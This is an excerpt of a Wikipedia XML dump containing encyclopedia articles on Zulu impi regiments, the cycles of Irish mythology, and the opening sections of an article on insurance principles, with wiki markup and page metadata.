An '''Impi''' is a [[Zulu]] word for any armed body of men. However, in English it is often used to refer to a Zulu [[regiment]], which is called an ''ibutho'' in Zulu. The first impis were formed by Zulu king [[Shaka]], who was then only the exiled illegitimate son of king [[Senzangakona]], but already showing much prowess as a general in the army of [[Mthethwa]] king [[Dingiswayo]] in the Mthethwa-[[Ndwandwe]] war in the early 1810s.

==Youth==
Impi warriors were raised from the age as low as of six, joining the army as ''udibi'' porters at first, being enrolled into [[age set|same-age groups]] (''intanga''). Until they were ''buta'''d, Zulu boys accompanied their fathers and brothers on campaign as servants. Eventually, they would go to the nearest ''ikhanda'' to ''kleza'' (which literally means to drink directly from the udder), at which point they would become ''inkwebane'', or cadets. They would spend their time training until they were formally enlisted by the king. They would challenge each other to stick fights, which had to be accepted on pain of dishonor. 

==Enlistment==
On being formally formed into regiments  -''ibutho'' (plural ''amabutho'') after their 20th birthday, they would build their ''ikhanda'' (often referred to as a 'homestead', and it was basically a stockaded group of huts surrounding a corral for cattle) which would be where they would come when mustered for active service. They would have to come for this muster until they married, which was a privilege the king bestowed. They were trained to outrun a horse, cover about 80 km (50 miles) a day on foot and hide and stalk in the underbrush. The amabutho were recruited on the basis of age rather than regional or tribal origin. The reason for this was to enhance the centralised power of the Zulu king at the expense of clan and tribal leaders. They swore loyalty to the king of the Zulu nation. 

Every ibutho was a thousand warriors strong and originally contained warriors from the same ''intanga'' (this practice later changed as  casualties suffered by the regiments made reinforcements necessary). Each ibutho had its own colors in colored shields, headdress and other ornaments.  An impi - a force which contained several ''amabutho'' - was also accompanied by ''udibi'', young boys who carried implements like cooking pots and sleeping mats and on occasion acted as scouts. Shaka insisted that troops wear no shoes&amp;mdash;they could run faster and were not disabled by the loss of their sandals. Training for this was to stamp thorns into the ground with bare feet.

==Service==
In wartime, the Zulu soldier went into battle minimally dressed, painting his upper body and face with chalk and red ochre, despite the popular conception of elaborately panoplied warriors. In Shaka's day, warriors often wore elaborate plumes and cow tail regalia, but by the [[Anglo-Zulu War]] of 1879, many warriors wore only loin cloth into battle. As a weapon he carried the ''[[iklwa]]'' stabbing spear (losing one could result in execution), [[cudgel]]s (''[[knobkerrie]]''). He also carried shields, which were property of the king. The iklwa with its long (c. 25cm) tip was an invention of Shaka that superseded the older thrown [[assegai]]. It could theoretically be used both in melee and as a thrown weapon, but warriors were forbidden in Shaka's day from throwing it, which would disarm them and give their opponents something to throw back. Moreover, Shaka felt it discouraged warriors from closing into hand to hand combat. However, after the Zulus encountered the Boers and the British, who were armed with firearms, the Zulus re-introduced the throwing spear in an effort to counter their enemies firepower. By the time of [[Zulu War]], king [[Cetshwayo]] also equipped them with [[musket]]s and they also used [[rifle]]s captured from the British. However, many of their weapons were obsolete or in bad condition and warriors were usually badly trained in their use.

==Tactics==
Shaka used impis with a modified encircling tactic - ''impondo zankoma'' ('bull's horns'); Impi troops would divide into four groups. The main group (''isifuba'', 'chest') would face the enemy, two wings (''izimpondo'', 'horns') on two sides of the enemy and then force them towards the center. The fourth party (usually the veterans) remained as a reserve. They travelled light, and carried their own food or foraged along the way. The image of the Zulu warrior who could &quot;run fifty miles and fight a battle at the end of it&quot; is not at all true, but the barefooted Zulu warrior was swift, and could cover perhaps 25 miles a day. Thus tactics against their enemies (other African tribes, the [[Boers]], and the British) were surprise and overwhelming force, rather than siege or long campaigns.  During the [[Anglo-Zulu War]], British commander [[Frederick Augustus Thesiger, 2nd Baron Chelmsford|Lord Chelmsford]] complained that they did not 'fight fair'. 

==History==
Against the [[Ndwandwe]], numerically superior northern neighbours who invaded Zulu territory to suppress them, [[Shaka]] played hide-and-seek games, while laying waste to the land to prevent foraging. Shaka waited and only attacked when the Ndwandwe were divided or exhausted.

Impi were also famous for their custom 'washing of spears (in their enemy's blood)' in which they cut open the belly of killed (and allegedly sometimes still living) opponents. The Zulus believed that this meant the release of the opponent's spirit so it could not haunt the killer.

Complex ceremonies surrounded battles, and great honours were bestowed upon the courageous in battle. Cowards were dishonoured and occasionally executed. Wounds were crudely serviced, but the Zulus had an unusual rate of recovery. Overall, the Zulu army was versatile and all but invincible against other African armies. However, they faced tougher opposition when confronted with the Boers, from around 1830 and later the British. Although Zulu impis under [[Dingane]] had some early success against the [[Trek Boers]], they suffered a bloody defeat when attacking a fortified [[laager]] at the [[battle of Blood River]] in 1838. Similarly, the Zulus scored a famous victory over the British at the [[battle of Isandlwana]] in 1879, but ultimately were no match for the [[Martini-Henry]] [[rifle]]s and [[Gatling gun|Gatling machine guns]] used against them in by the British troops.They suffered successive defeats at the [[battle of Kambula]], [[battle of Gingindlovu]] and the [[battle of Ulundi]], which led to the destruction of the Zulu Kingdom.

==Trivia==
The [[Aiel]] ''algai'd'siswai'' of the [[Wheel of Time]] fictional universe are largely based on Impi warriors.

[[Rudyard Kipling]] refers to them in his poem &quot;Fuzzy-Wuzzy&quot;:

:''We took our chanst among the Khyber 'ills,''
::''The Boers knocked us silly at a mile,''
:''The Burman give us Irriwady Chills,''
::''&lt;nowiki&gt;'&lt;/nowiki&gt;An a Zulu Impi dished us up in style.''

==Sources==
*Ian Knight, ''Brave Men's Blood - the Anglo-Zulu war of 1879''
*Ian Knight, ''The Zulus''
*D.R. Morris, ''The Washing of the Spears''

== External links ==


*http://www.kwazulu.co.uk/Secrets.html

[[Category:Zulus]] [[Category:Infantry]]

[[he:&amp;#1488;&amp;#1497;&amp;#1502;&amp;#1508;&amp;#1497;]]</text>
    </revision>
  </page>
  <page>
    <title>Irish mythology</title>
    <id>15175</id>
    <revision>
      <id>41636556</id>
      <timestamp>2006-02-28T18:18:56Z</timestamp>
      <contributor>
        <ip>69.150.117.40</ip>
      </contributor>
      <text xml:space="preserve">The [[mythology]] of pre-Christian [[Ireland]] did not entirely survive the conversion to [[Christianity]], but much of it was preserved, shorn of its religious meanings, in [[medieval]] [[Irish literature]], which represents the most extensive and best preserved of all the branches of [[Celtic mythology]]. Although many of the manuscripts have failed to survive, and much more material was probably never committed to writing, there is enough remaining to enable the identification of four distinct, if overlapping, cycles: the [[Mythological Cycle]], The [[Ulster Cycle]], the [[Fenian Cycle]] and the [[Historical Cycle]]. There are also a number of extant mythological texts that do not fit into any of the cycles. In addition, there are a large number of recorded [[folk tales]] that, while not strictly mythological, feature personages from one or more of these four cycles.

==The sources==

The three main manuscript sources for Irish mythology are the late [[11th century|11th]]/early [[12th century]] ''[[Lebor na hUidre]]'' which is in the library of the [[Royal Irish Academy]], the early 12th century ''[[Book of Leinster]]'' in the library of [[Trinity College, Dublin]], and the [[Rawlinson]] manuscript B 502 (''Rawl.''), housed in the [[Bodleian Library]] at [[Oxford University]]. Despite the dates of these sources, most of the material they contain predates their composition. The earliest of the prose can be dated on linguistic grounds to the [[8th century]], and some of the verse may be as old as the [[6th century]].

Other important sources include a group of four manuscripts originating in the west of Ireland in the late [[14th century|14th]] or early [[15th century]]: ''The Yellow Book of Lecan'', ''The Great Book of Lecan'', ''The Book of Hy Many'', and ''The Book of Ballymote''. The first of these contains part of the earliest known version of the ''[[Táin Bó Cúailnge]]'' and is housed in Trinity College. The other three are in the Royal Academy. Other 15th century manuscripts, such as ''The Book of Fermoy'' also contain interesting materials, as do such later syncretic works such as [[Geoffrey Keating]]'s ''Foras Feasa ar Éirinn'' (''The History of Ireland'') (ca. [[1640]]), particularly as these later compilers and writers may have had access to manuscript sources that have since disappeared.

When using these sources, it is, as always, important to question the impact of the circumstances in which they were produced. Most of the manuscripts were created by [[Christianity|Christian]] [[monk]]s, who may well have been torn between the desire to record their native culture and their religious hostility to pagan beliefs resulting in some of the gods being [[wiktionary:Euhemerize|euhemerized]]. Many of the later sources may also have formed part of a propaganda effort designed to create a history for the people of Ireland that could bear comparison with the mythological descent of their British invaders from the founders of [[Rome]] that was promulgated by [[Geoffrey of Monmouth]] and others.  There was also a tendency to rework Irish genealogies to fit into the known schema of Greek or Biblical genealogy.

It was once unquestioned that medieval Irish literature preserved truly ancient traditions in a form virtually unchanged through centuries of [[oral tradition]] back to the ancient [[Celts]] of Europe. Kenneth Jackson famously described the Ulster Cycle as a &quot;window on the Iron Age&quot;, and Garret Olmsted has attempted to draw parallels between ''[[Táin Bó Cuailnge]]'', the Ulster Cycle epic, and the iconography of the [[Gundestrup Cauldron]]. However, this &quot;nativist&quot; position has been challenged by &quot;revisionist&quot; scholars who believe that much of it was created in Christian times in deliberate imitation of the [[Epic poetry|epic]]s of [[classical literature]] that came with [[Latin]] learning. The revisionists would point to passages apparently influenced by the [[Iliad]] in ''Táin Bó Cuailnge'', and the existence of ''Togail Troi'', a very early Irish adaptation of the [[Aeneid]] found in the Book of Leinster, and note that the material culture of the stories is generally closer to the time of the stories' composition than to the distant past. A consensus has emerged which encourages the critical reading of the material.

==Mythological cycle==

The [[Mythological Cycle]], comprising stories of the former gods and origins of the Irish, is the least well preserved of the four cycles. The most important sources are the ''[[Metrical Dindshenchas]]'' or ''Lore of Places'' and the ''[[Lebor Gabála Érenn]]'' or ''Book of Invasions''. Other manuscripts preserve such Mythological tales as ''[[The Dream of Aengus]]'', ''[[The Wooing Of Étain]]'' and ''[[Cath Maige Tuireadh]]'', ''The (second) Battle of Magh Tuireadh''. One of the best known of all Irish stories, ''Oidheadh Clainne Lir'', or ''[[Children of Lir|The Tragedy of the Children of Lir]]'', is also part of this cycle.

''Lebor Gabála Érenn'' is a pseudo-history of Ireland, tracing the ancestry of the Irish back to [[Noah]]. It tells of a series of invasions or &quot;takings&quot; of Ireland by a succession of peoples, one of whom was the people known as the [[Tuatha Dé Danann]], who were believed to have inhabited the island before the arrival of the [[Gaels]], or [[Milesians (Irish)|Milesians]]. They faced opposition from their enemies, the [[Fomorians]], led by  [[Balor]] of the Evil Eye. Balor was eventually slain by [[Lugh|Lug Lámfada]] (Lug of the Long Arm) at the second battle of Magh Tuireadh. With the arrival of the Gaels, the Tuatha Dé Danann retired underground to become the [[fairy]] people of later myth and legend.

The ''Metrical Dindshenchas'' is the great onomastic work of early Ireland, giving the naming legends of significant places in a sequence of poems. It includes a lot of important information on Mythological Cycle figures and stories, including the Battle of Tailtiu, in which the Tuatha Dé Danann were defeated by the Milesians.

It is important to note that by the middle ages the Tuatha Dé Danann were not viewed so much as gods as the shape-shifting magician population of an earlier [[Golden Age]] Ireland. Texts such as ''Lebor Gabála Érenn'' and ''Cath Maige Tuireadh'' present them as kings and heroes of the distant past, complete with death-tales. However there is considerable evidence, both in the texts and from the wider Celtic world, that they were once considered [[deity|deities]].

Even after they are displaced as the rulers of Ireland, characters such as [[Lugh|Lug]], the [[Mórrígan]], [[Aengus]] and [[Manannan]] appear in stories set centuries later, betraying their immortality. A poem in the [[Book of Leinster]] lists many of the Tuatha Dé, but ends &quot;Although [the author] enumerates them, he does not worship them&quot;. [[Goibniu]], [[Creidhne]] and [[Luchta]] are referred to as ''Trí Dée Dána'' (&quot;three gods of craftsmanship&quot;), and the [[Dagda]]'s name is interpreted in [[medieval]] texts as &quot;the good god&quot;. [[Nuada]] is [[cognate]] with the [[Prehistoric Britain|British]] god [[Nodens]]; [[Lugh|Lug]] is a reflex of the pan-[[Celt]]ic deity [[Lugus]]; [[Tuireann]] may be related to the [[Gaulish]] [[Taranis]]; [[Ogma]] to [[Ogmios]]; the [[Badb]] to [[Catubodua]].

===Other important Tuatha Dé Danann figures===
* [[Boann]]
* [[Banba]]
* [[Brigid]]
* [[Creidhne]]
* [[Cyhiraeth]]
* [[Danu (Irish goddess)|Danu]]
* [[Dian Cecht]]
* [[Donn]]
* [[Ériu]]
* [[Étain]]
* [[Fódla]]
* [[Macha]]
* [[Nechtan]]
* [[Sídhe]]
* [[Banshee]] (also spelt ''Bean Sidhe'')

==Ulster cycle==

The [[Ulster Cycle]] is set around the beginning of the Christian era and most of the action takes place in the provinces of [[Ulster]] and [[Connacht]]. It consists of a group of heroic stories dealing with the lives of [[Conchobar mac Nessa]], king of Ulster, the great hero [[Cúchulainn]], the son of Lug, and of their friends, lovers, and enemies. These are the [[Ulaid]], or people of the North-Eastern corner of Ireland and the action of the stories centres round the royal court at [[Emain Macha]], close to the modern city of [[Armagh]]. The Ulaid had close links with the Irish colony in [[Scotland]], and part of Cúchulainn's training takes place in that colony.

The cycle consists of stories of the births, early lives and training, wooings, battles, feastings and deaths of the heroes and reflects a warrior society in which warfare consists mainly of single combats and wealth is measured mainly in cattle. These stories are written mainly in prose. The centrepiece of the Ulster Cycle is the ''[[Táin Bó Cúailnge]]''. Other important Ulster Cycle tales include ''The Tragic Death of Aife's only Son'', ''Bricriu's Feast'', and ''The Destruction of Ua Derga's Hostel''. ''The Exile of the Sons of Usnach'', better known as the tragedy of [[Deirdre]] and the source of plays by [[John Millington Synge]] and [[William Butler Yeats]], is also part of this cycle.

This cycle is, in some respects, close to the mythological cycle. Some of the characters from the latter reappear, and the same sort of shape-shifting magic is much in evidence, side by side with a grim, almost callous realism. While we may suspect a few characters, such as [[Medb]] or [[Cú Roí]], of once being deities, and Cúchulainn in particular displays superhuman prowess, the characters are firmly mortal and rooted in a specific time and place. If the Mythological Cycle represents a Golden Age, the Ulster Cycle is Ireland's [[Heroic Age]].

==Fenian cycle==

Like the Ulster Cycle, the Fenian Cycle is concerned with the deeds of Irish heroes. The stories of the Fenian Cycle appear to be set around the [[3rd century]] and mainly in the provinces of [[Leinster]] and [[Munster]]. They differ from the other cycles in the strength of their links with the Irish-speaking community in Scotland and there are many extant Fenian texts from that country. They also differ from the Ulster Cycle in that the stories are told mainly in [[verse]] and that in tone they are nearer to the tradition of romance than the tradition of epic. The stories concern the doings of [[Fionn mac Cumhail]] and his band of soldiers, the [[Fianna]].

The single most important source for the Fenian Cycle is the ''Acallamh na Senórach '' (''Colloquy of the Old Men''), which is found in two [[15th century]] [[manuscripts]], the ''Book of Lismore'' and Laud 610, as well as a [[17th century]] manuscript from [[Killiney]], [[County Dublin]]. The text is dated from linguistic evidence to the [[12th century]]. The text records conversations between the last surviving members of the Fianna and [[St Patrick]] and runs to some 8,000 lines. The late dates of the manuscripts may reflect a longer oral tradition for the Fenian stories.

The Fianna of the story are divided into the Clann Baiscne, led by Fionn, and the Clann Morna, led by his enemy, [[Goll mac Morna]]. Goll killed Fionn's father, [[Cumhal]], in battle and the boy Fionn was brought up in secrecy. As a youth, while being trained in the art of poetry, he accidentally burned his thumb while cooking the Salmon of Knowledge, which allowed him to suck or bite his thumb in order to receive bursts of stupendous wisdom. He took his place as the leader of his band and numerous tales are told of their adventures. Two of the greatest Irish tales, ''Toraigheacht Dhiarmada agus Ghrainne'' (''The Pursuit of [[Diarmuid]] and [[Grainne]])'' and ''[[Oisin]] in Tir na nOg'' form part of the cycle. The Diarmuid and Grainne story, which is one of the few Fenian prose tales,  is a probable source of ''[[Tristan and Isolde]]''.

The world of the Fenian Cycle is one in which professional warriors spend their time hunting, fighting, and engaging in adventures in the spirit world. New entrants into the band are expected to be knowledgeable in poetry as well as undergo a number of physical tests or ordeals. Again, there is no religious element in these tales unless it is one of hero-worship.

==Historical cycle==

It was part of the duty of the medieval Irish bards, or court [[Irish poetry|poets]], to record the history of the family and the genealogy of the king they served. This they did in poems that blended the mythological and the historical to a greater or lesser degree. The resulting stories form what has come to be known as the Historical Cycle, or more correctly Cycles, as there are a number of independent groupings.

The kings that are covered range from the almost entirely mythological [[Labraid Loingsech]], who became High King of Ireland around [[431 BC]] to the entirely historical [[Brian Boru]]. However, the greatest glory of the Historical Cycle is the ''[[Buile Shuibhne]]'' (''The Frenzy of Suibhne''), a [[12th century]] tale told in verse and prose.

Suibhne, king of Dal nAraide, was cursed by St Ronan and became a kind of half man, half bird, condemned to live out his life in the woods, fleeing from his human companions. The story has captured the imaginations of contemporary Irish poets and has been translated by [[Trevor Joyce]] and [[Seamus Heaney]].

==Other tales==

===Adventures===

The adventures, or ''[[echtrae]]'', are a group of stories of visits to the Irish [[Other World]]. The most famous, ''Oisin in Tir na nOg'' belongs to the Fenian Cycle, but several free-standing adventures survive, including ''The Adventure of Conle'', ''[[The Voyage of Bran|The Voyage of Bran mac Ferbail]]'' and ''The Adventure of [[Lóegaire]]''.

===Voyages===

The voyages, or ''[[immrama]]'', are tales of sea journeys and the wonders seen on them. These probably grew from the experiences of fishermen combined with the Other World elements that inform the adventures. Of the seven ''immrama'' mentioned in the manuscripts, only three survive: ''The Voyage of [[Mael Duin]]'', ''The Voyage of the Ui Chorra'', and ''The Voyage of Snedgus and Mac Riagla''. ''The Voyage of Mael Duin'' is the forerunner of the later ''[[Voyage of St. Brendan]]''.

===Folk tales===

At the beginning of the 19th Century, [[Herminie T. Kavanagh]] wrote down many Irish folk tales which she published in magazines and in two books.  Twenty-six years after her death, the tales from her two books, ''Darby O'Gill and the Good People'', and ''Ashes of Old Wishes'' were made in to the film [[Darby O'Gill and the Little People]].


==References==
===Primary sources in English translation===
*Cross, Tom Peete and Clark Harris Slover. ''Ancient Irish Tales''. Barnes and Noble Books, Totowa, New Jersey, 1936 repr. 1988. ISBN 566198895.
*Dillon, Myles. ''The Cycles of the Kings''. Oxford University Press, 1946; reprinted Four Courts Press: Dublin and Portland, OR, 1994. ISBN 1851821783.
*Dillon, Myles. ''Early Irish Literature''. Chicago: University of Chicago Press, 1948; reprinted : Four Courts Press, Dublin and Portland, OR, 1994. ISBN 0785816763.
*Joseph Dunn: ''The Ancient Irish Epic Tale Táin Bó Cúailnge'' ([[1914]]) 
*Winifred Faraday: ''The Cattle-Raid of Cualng''. London, 1904. This is a partial translation of the text in the Yellow Book of Lecan, partially censored by Faraday.
*Gantz, Jeffrey. ''Early Irish Myths and Sagas''. London: Penguin Books, 1981. ISBN 0140443975. 
*Kinsella, Thomas. ''The Tain''. Oxford: Oxford University Press, 1970. ISBN 0192810901.

===Primary sources in Medieval Irish===
*''Cath Maige Tuired: The Second Battle of Mag Tuired''. Elizabeth A. Gray, Ed. Dublin: Irish Texts Society, 1982. Series: Irish Texts Society (Series) ; v. 52. Irish text, English translation and philological notes. 
*''Táin Bo Cuailnge from the Book of Leinster''. Cecile O'Rahilly, Ed. Dublin Institute for Advanced Studies, 1984.
*''Táin Bo Cuailnge Recension I''. Cecile O'Rahilly, Ed. Dublin Institute for Advanced Studies 1976. Irish text, English translation and philological notes.

===Retellings of the myths in English===
*Lady [[Lady Gregory|Augusta Gregory]]: ''Cuchulain of Muirthemne'' (1902)
*Lady Augusta Gregory: ''Gods and Fighting Men'' (1904)

===Secondary sources===
*Mallory, J. P. Ed. ''Aspects of the Tain''. Belfast: December Publications, 1992. ISBN 0951706829. 
*O'Rahilly, T. F. ''Early Irish History and Mythology'' (1946)
*O hOgain, Daithi &quot;Myth, Legend and Romance: An Encyclopedia of the Irish Folk Tradition&quot; Prentice Hall Press, (1991) : ISBN 0132759594 (the only dictionary/encyclopedia with source references for every entry)
*Rees, Brinley and Alwyn Rees. ''Celtic Heritage: Ancient Tradition in Ireland and Wales''. New York: Thames and Hudson, 1961; repr. 1989. ISBN 500270392.
*Sjoestedt, M. L. ''Gods and Heroes of the Celts''. 1949; translated by Myles Dillon. repr. Berkeley, CA: Turtle Press, 1990. ISBN 1851821791.
*Williams, J. F. Caerwyn. ''Irish Literary History''. Trans. Patrick K. Ford. University of Wales Press, Cardiff, Wales, and Ford and Bailie, Belmont, Massachusetts. Welsh edition 1958, English translation 1992. ISBN 0926689037.

==External links==

*[http://www.ucd.ie/folklore Department of Irish Folklore, Dublin. Includes the National Folklore Archives]
*[http://www.maryjones.us/ctexts/index_irish.html The Celtic Literature Collection] - over one hundred ancient texts available to download free
*[http://vassun.vassar.edu/~sttaylor/Cooley/Faraday/Contents.html Winifred Faraday's version of the Tain]
*[http://vassun.vassar.edu/~sttaylor/Cooley/ Joseph Dunn's version of the Tain]
*[http://www.sacred-texts.com/neu/cool/ Another source for Joseph Dunn's version of the Tain]
*[http://www.ucc.ie/celt/published/T301035/index.html Cecile O'Rahilly's version of the Tain]
*[http://www.paddybrown.co.uk/ulstercycle/tain.html A modern version of the Tain by Patrick Brown]
*[http://www.sacred-texts.com/neu/celt/gafm/ Gods and Fighting Men]
*[http://www.ucc.ie/celt/published/G302018/index.html Buile Shuibhne]
*[http://www.ucc.ie/celt/published/G303000/index.html Acallamh na Senórach]
*[http://www.ucc.ie/celt/published/G301020/index.html Deirdre of the Sorrows]
*[http://www.irishmythology.com/ The Irish mythology Cycles]
*[http://www.irishabroad.com/yourroots/mythology/ Irish Mythology features]

[[Category:Celtic mythology]]
[[Category:Irish mythology|*]]
[[Category:Irish literature]]
[[pl:Mitologia irlandzka]]
[[Category:Medieval literature]]
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  </page>
  <page>
    <title>Insurance</title>
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      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>/* External links */ Removed spam links.</comment>
      <text xml:space="preserve">'''Insurance''', in [[law]] and [[economics]], is a form of [[risk management]] primarily used to [[Hedge (finance)|hedge]] against the [[risk]] of potential [[financial]] [[loss]]. Insurance is defined as the equitable transfer of the [[risk]] of a potential loss, from one entity to another, in exchange for a premium and duty of care.  

==Principles of insurance==
The timing or occurrence of the loss must be uncertain.

The rate of losses must be relatively predictable: In order to set premiums (prices) insurers must be able to estimate them accurately. If the coverage is unique, the insured will pay a correspondingly higher premium. [[Lloyd's of London]] often accepts unique coverages. (e.g., the insuring of [[Tina Turner]]'s legs and [[Jennifer Lopez]]'s butt)

The losses must ''be predictable'' on a macro level: Insurers need to know how much they would be required to pay when the insured-for event occurs. Most types of insurance have maximum levels of payouts, but not all do, notably [[health insurance]].

The loss must be significant: The legal principle of ''[[De minimis]]'' dictates that trivial matters are not covered. Furthermore, rational insurance uses existing insurance when the [[transaction costs]] dictate that filing a claim is not rational.

The loss must not be catastrophic: If the insurer is insolvent, it will be unable to pay the insured. In the United States, there is a system of Guaranty Funds run at the state level to reimburse insured people whose insurance companies have become insolvent. [http://www.ncigf.org] This program is run by the National Association of Insurance Commissioners (NAIC). [http://www.naic.org/]  To avoid catastrophic depletion of their own capital, insurers almost universally purchase [[reinsurance]] to protect them against excessively large accumulations of risk in a single area, and to protect them against large-scale catastrophes.

==Insurance Contract Principles==
A property or liability insurance policy is a &quot;personal contract,&quot; a &quot;conditional contract,&quot; a &quot;contract of adhesion,&quot; a &quot;contract of indemnity,&quot; and a contract which requires that the person insured have an insurable interest at the time of the insured-against contingency.

===Personal Contract===

Property and liability insurance policies cover persons and not property or operations. Although the terms &quot;insured my house&quot; or &quot;insured my motorcycle&quot; are used commonly, they are not technically correct. The contract between the insurer and the insured is a personal contract between an insuring entity and a person(s) and not the object being insured. In other words, the question of whether payment is due upon the occurrence of a contingency, and how such payment will be measured, depends upon economic loss suffered by the person(s).

===Conditional Contract===

Property and liability insurance policies are said to be &quot;conditional contracts&quot; because the obligation of the insurer to perform may be conditioned upon the insured satisfying certain conditions.

===Contract of Adhesion===

Property and liability insurance policies are said to be &quot;contracts of adhesion&quot; because the insurer and insured parties are of unequal bargaining power where the insured party cannot negotiate the terms of the contract and must take the offer of the insurer as made. Importantly, the rule of law regarding &quot;contracts of adhesion&quot; is that any ambiguities resolve in favor of the insured.

===Contract of Indemnity===

Property and liability insurance policies are said to be &quot;contracts of indemnity&quot; because the purpose of insurance is to indemnify the insured. The principle of indemnification is that the insured should not profit nor incur an economic loss from the response provided by the policy.

===Insurable Interest===

Insurable interest is one wherein economic loss would be suffered from an adverse occurrence to the person(s) insured.


==Indemnification==
An entity seeking to transfer risk (an individual, corporation, or association of any type) becomes the 'insured' party once risk is assumed by an 'insurer', the insuring party, by means of a [[contract]], defined as an insurance 'policy'.  This [[legal]] contract sets out terms and conditions specifying the amount of  coverage (compensation) to be rendered to the insured, by the insurer upon assumption of risk, in the event of a loss, and all the specific perils covered against ([[indemnity|indemnified]]),  for the term of the contract.

When insured parties experience a loss for a specified peril, the coverage entitles the policyholder to make a 'claim' against the insurer for the amount of loss as specified by the policy contract.  The [[fee]] paid by the insured to the insurer for assuming the risk is called the 'premium'.  Insurance premiums from many clients are used to fund accounts set aside for later payment of claims - in theory for a relatively few claimants - and for [[overhead]] costs.  So long as an insurer maintains adequate funds set aside for anticipated losses, the remaining margin becomes their [[profit]].

==How an insurance company makes money==
A customer might pay one or more premium payments over time. The company collects these payments from one or more customers. If something happens which triggers a claim, the company then pays out a certain amount of money.  If, during the lifetime of all of the company's insurance contracts, it pays out less than it has taken in, it makes what is known as an [[underwriting profit]].  One measure of an insurance company's performance is their loss ratio (incurred losses and loss-adjustment expenses divided by net earned premium).  The loss ratio is added to the expense ratio (underwriting expenses divided by net premium written) to determine the company's combined ratio.  The combined ratio is a reflection of the company's overall underwriting profitability.  A combined ratio of less than 100 percent indicates a profit, while anything over 100 is a loss.  One company that is famous for achieving underwriting profit is [[American International Group]].  Berkshire Hathaway, by contrast, is famous for making its money on &quot;float&quot; rather than underwriting profit.  Float is the concept that as insurance premiums are collected up front, and claims paid over time (sometimes up to periods of 10 years or more), the insurance companies are able to collect investment income on the money they have reserved for claims that have not occurred yet, or have not yet been paid.  Over time, this interest is compounded into significant dollars, particularly for a company as large as Berkshire Hathaway.

In many cases a company's combined ratio is greater than 100 percent, however the company still manages to make money.  This is because in between the time the company collects premiums and when it pays out claims, it can invest that money.  The return from these investments may offset an underwriting loss resulting in profit. For example, if a company has to pay out 10 percent more than it took in, but made a 20 percent return on its investment, then it made a 10 percent profit.  However, since most insurance companies consider it only prudent (and may be mandated to do so by laws controlling insurance businesses in the territory in which they operate) to invest in risk-free government bonds, or other lower risk and lower return forms of investments, it's important that the extra amount it has to pay out compared to what it has to take in is less than the percent return of these investments.  If it isn't, the company loses money.  The extra amount that a company has to pay out can be considered a &quot;cost of funds&quot; and be compared to an interest rate of the same company borrowing money.  Because of this, most insurance companies don't have a goal just to have any amount of profit over the cost of funds, but rather to have this cost of funds be lower than what they would have been able to get by borrowing somewhere else.  If this isn't the case, the insurance company does not add any value to their owners, who theoretically could have borrowed money from somewhere else and made the same investments themselves.

Although insurers traditionally depended upon [[underwriting profit]] to provide them with operating profit, market forces now require that insurers earn the bulk of their profit on investment income on premiums held pending claims occurrence.  This is a form of financial leveraging.

==Determination of rate structures==
The insurer uses [[actuarial science]] to quantify the risk they are willing to assume.  Data is generated to approximate future claims, ordinarily with reasonable accuracy.  Actuarial science uses [[statistics]] and [[probability]] to analyze the risks associated with the range of perils covered, and these scientific principles are used by insurers, in conjunction with additional factors, to determine rate structures.  

For example, many individuals purchase homeowner's insurance policies by signing a contract paying a premium to an insurance company.  If a covered loss occurs, the insurer is obliged by the terms of the contract to [[honor]] the insured's claim.  For some policyholders, the amount of insurance benefits received from their insurer will greatly exceed the expense of premiums paid.  Others may never make a claim or receive any benefit other than the peace of mind rendered by the security of an insurance policy.  When averaged, the total claims expense paid by an insurer should be less than the total premiums paid by their policyholders, with the difference allocated to [[overhead]] and [[profit]].

Insurance companies also earn [[investment]] profits. These are generated by investing premiums received until they are needed to pay claims.  This money is called the 'float'.  The insurer may make profits or losses from the value change in the float as well as [[interest]] or [[dividends]] on the float. In the [[United States]], the underwriting loss of [[property]] and [[casualty]] insurance companies was $142.3 billion in the five years ending 2003. But overall profit for the same period was  $68.4 billion, at the result of float. Some insurance industry insiders, most notably [[Maurice R. Greenberg|Hank Greenberg]], do not believe that it is forever possible to sustain a profit from float without an underwriting profit as well, but this opinion is not universally held.

==Gambling analogy==
&lt;!-- where to put this section? --&gt; 
Some people erroneously consider insurance a type of [[gambling|wager]] (particularly as associated with [[moral hazard]]) that executes over the policy period. The insurance company bets that you or your property will not suffer a loss while you put money on the opposite outcome. The difference in the fees paid to the insurance company versus the amount for which they can be held liable if an [[accident]] happens is roughly analogous to the odds one might expect when betting on a [[horse-racing|racehorse]] (for example, 10 to 1). For this reason, a number of [[religion|religious]] groups, including the [[Amish]] and Muslims, avoid insurance and instead depend on support provided by their [[community|communities]] when [[disaster]]s strike. This can be thought of as &quot;social insurance,&quot; as the risk of any given person is assumed collectively by the community who will all bear the cost of rebuilding. In closed, supportive communities where others can be trusted to step in to rebuild lost property, this arrangement can work.  

However, most [[society|societies]] could not effectively support this type of system, and the system will not work for large risks.  For very large risks, Western insurance can also run into difficulties.  This is the reason why most [[home insurance|homeowner's insurance]] does not cover [[flood]]s.  A company that sells homeowner's insurance in a given city can accurately estimate the number of claims it would have to pay due to fires, [[tornado]]es, and other smaller-scale disasters.  However, a flood may impact a large percentage of the city and the company might be unable to deal with this.  A prime example of this is the flooding in [[New Orleans, Louisiana|New Orleans]] as a result of [[Hurricane Katrina]].  For the same reason, losses due to [[war]] and [[earthquake]]s are generally excluded.  In the case of floods and earthquakes (which are smaller-scale than war) homeowners can purchase separate insurance from national companies with larger resources, which are able to distribute the risk across regions rather than individual buildings.  

In gaming or gambling, the game is fixed at the start so that the odds are not affected by the players. However, to obtain certain types of insurance, such as fire insurance, policyholders are often required to conduct risk mitigation practices, such as installing [[Fire sprinkler|sprinkler]]s and using fireproof building materials to reduce the odds of loss to fire.  In addition, after a proven loss, insurers specialize in providing rehabilitation to minimize the total loss.

While insurance is analogous to gambling in terms of risk and reward, the main difference is in the motivation behind the process (risk seeking vs. risk avoidance).  When gambling, you are assuming risk that you would not otherwise be exposed to that has the possibility of either a loss or a gain (speculative risk).  With insurance, you are managing risk that you could not otherwise avoid, and which does not present the possibility of gain (pure risk).  [[Risk management]], the practice of appraising and controlling risk, has evolved as a discrete field of study and practice.  Avoiding, mitigating and transferring certain risk creates greater predictability for consumers and business, and allows people and organizations to use risk intelligently to maximize their opportunities.

Historically, gambling has been considered an uninsurable risk.  Recent developments, however, have lead to the invention and patenting of new types of insurance to protect against gambling losses.  An example is United States Patent 6,869,362, [http://www.freepatentsonline.com/6869362.html &quot;Method and apparatus for providing insurance policies for gambling losses&quot;]

==History of insurance==
